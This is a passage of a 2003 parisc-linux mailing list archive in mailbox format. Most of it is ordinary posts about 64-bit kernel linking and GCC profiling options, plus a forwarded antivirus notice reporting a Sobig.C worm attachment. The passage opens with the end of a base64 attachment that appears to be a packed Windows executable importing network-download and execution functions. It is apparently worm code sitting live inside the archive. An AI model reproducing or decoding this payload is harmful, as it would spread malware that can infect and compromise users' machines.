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
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAD8AAIAtAACAAAAAAAAAAAAAAAAAAkBAgDEAAIAAAAAAAAAAAAAAAAA
FgECAMwAAgAAAAAAAAAAAAAAAAAeAQIA1AACAAAAAAAAAAAAAAAAACgBAgDcAAIAAAAAAAAAAAAA
AAAANQECAOQAAgAAAAAAAAAAAAAAAABAAQIA7AACAAAAAAAAAAAAAAAAAEsBAgD0AAIAAAAAAAAA
AAAAAAAAAAAAAAAAAABWAQIAZAECAHQBAgAAAAAAggECAAAAAACQAQIAAAAAAKABAgAAAAAACQAA
gAAAAACoAQIAAAAAAMIBAgAAAAAAEQAAgAAAAABLRVJORUwzMi5ETEwAQURWQVBJMzIuZGxsAE1Q
Ui5kbGwAb2xlMzIuZGxsAE9MRUFVVDMyLmRsbAB1cmxtb24uZGxsAFVTRVIzMi5kbGwAV1NPQ0sz
Mi5kbGwAAExvYWRMaWJyYXJ5QQAAR2V0UHJvY0FkZHJlc3MAAEV4aXRQcm9jZXNzAAAAUmVnQ2xv
c2VLZXkAAABXTmV0Q2xvc2VFbnVtAAAAT2xlUnVuAABVUkxEb3dubG9hZFRvQ2FjaGVGaWxlQQAA
AHdzcHJpbnRmQQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0QEAAFhDMDAxODE1ZA==
--CSmtpMsgPart123X456_000_01954402--



From - Thu Nov 08 21:27:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiler & kernel
Date: Tue, 3 Jun 2003 17:35:08 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <3ED70CF100001633@ocpmta2.freegates.net>
References: <200306031418.h53EI399028101@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622494 26404 80.91.229.3 (22 Nov 2014 02:14:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:54 +0000 (UTC)
Cc: joel.soete@tiscali.be, xam@cs.ucc.ie,
	parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  3 09:35:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (unknown [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id CE8894829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Jun 2003 09:35:24 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19NDoZ-0005ex-00; Tue, 03 Jun 2003 17:35:07 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 3 Jun 2003 17:35:08 +0200
In-Reply-To: <200306031418.h53EI399028101@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18605

>
>> # file vmlinux-2.4.21-rc4-pa35
> vmlinux-2.4.21-rc4-pa35: ELF 64-bit MSB ..., dynamically linked (uses share
> libs), ...
> 
> In the 32-bits case I well understand that kernel was staticaly linked
but
> I but surprised that 64-bit kernel is dyn
>mically linked? 

This is a limitation of the 64-bit linker.  Binaries still need an
interpreter for startup even when linked with -static.  This probably
could be fixed but the use of static binaries under 64-bit hpux is
discouraged.  Under hpux,
>the linker needs to define some extra symbols
when a static binary is created.

> Anyway could you let me know how to 'generate this profile'

Look at the -Q, -ftime-report and -fmem-report options.

Thanks for all explanation.

For the last point I edit Makefile and in CFLAGS I added the tree mentionned
options. I just start to recompile a kernel 2.4.20 and log everything but
I think that it will increase dramaticaly the overall volume: is that all
will really help you or better some typical comparison?

Joel

---------------------------------
Dcouvrez les 6 cls et gagnez le Club Med  Vie avec Tiscali
http://www.tiscali.be/nl/subs/tiscali4life/default.asp?lang=fr




From - Thu Nov 08 21:27:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sir Ace <chandler@nateng.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RAV AntiVirus scan results. (fwd)
Date: Tue, 3 Jun 2003 10:07:07 -0700 (PDT)
Lines: 29
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.53.0306031006370.4551@jordan.eng.nateng.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622495 26406 80.91.229.3 (22 Nov 2014 02:14:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  3 11:05:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.nateng.com (user-vc8fdp3.biz.mindspring.com [216.135.183.35])
	by dsl2.external.hp.com (Postfix) with ESMTP id C3AE34829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Jun 2003 11:05:16 -0600 (MDT)
Original-Received: from jordan.eng.nateng.com (jordan.eng.nateng.com [172.16.100.200])
	by mail.nateng.com (8.11.2/8.11.2) with ESMTP id h53GB6h29351
	for <parisc-linux@lists.parisc-linux.org>; Tue, 3 Jun 2003 09:11:06 -0700
X-RAV-AntiVirus: This e-mail has been scanned for viruses on host: mail.nateng.com
Original-Received: from jordan.eng.nateng.com (IDENT:1000@localhost [127.0.0.1])
	by jordan.eng.nateng.com (8.12.8/8.12.8) with ESMTP id h53H77FY006943
	for <parisc-linux@lists.parisc-linux.org>; Tue, 3 Jun 2003 10:07:07 -0700
Original-Received: from localhost (chandler@localhost)
	by jordan.eng.nateng.com (8.12.9/8.12.8/Submit) with ESMTP id h53H7760006940
	for <parisc-linux@lists.parisc-linux.org>; Tue, 3 Jun 2003 10:07:07 -0700
X-Authentication-Warning: jordan.eng.nateng.com: chandler owned process doing -bs
X-X-Sender: chandler@jordan.eng.nateng.com
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18606

I got this from someone on the list.  Fix your box.

---------- Forwarded message ----------
Date: Wed, 03 Jun 2003 07:19:56 -0700
From: ravms@nateng.com
To: parisc-linux-admin@lists.parisc-linux.org
Cc: chandler@nateng.com
Subject: RAV AntiVirus scan results.


RAV AntiVirus for Linux i686 version: 8.3.1 (snapshot-20011106)
Copyright (c) 1996-2001 GeCAD The Software Company. All rights reserved.
Registered version for 2 domain(s).
Running on host: mail.nateng.com

The file (part0001:approved.pif) attached to mail (with subject: [parisc-linux] Re: Your application) sent by parisc-linux-admin@lists.parisc-linux.org to chandler@nateng.com,
is infected with virus: Win32/Sobig.C@mm.
Cannot clean this file.
The file was successfully deleted by RAV AntiVirus.

Scan engine 8.11 for i386.
Last update: Tue Jun  3 03:05:41 2003
Scanning for 78165 malwares (viruses, trojans and worms).

To get a free 60-days evaluation version of RAV AntiVirus v8
(yet fully functional) please visit:

   http://www.ravantivirus.com


From - Thu Nov 08 21:27:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] compiler & kernel
Date: Tue, 3 Jun 2003 19:21:32 +0200
Lines: 97
Approved: news@gmane.org
Message-ID: <3ED70CF1000016E7@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622495 26409 80.91.229.3 (22 Nov 2014 02:14:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:14:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jun  3 11:21:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (unknown [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id B109E482C
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Jun 2003 11:21:35 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19NFSp-0000ck-00; Tue, 03 Jun 2003 19:20:47 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Tue, 3 Jun 2003 19:21:32 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
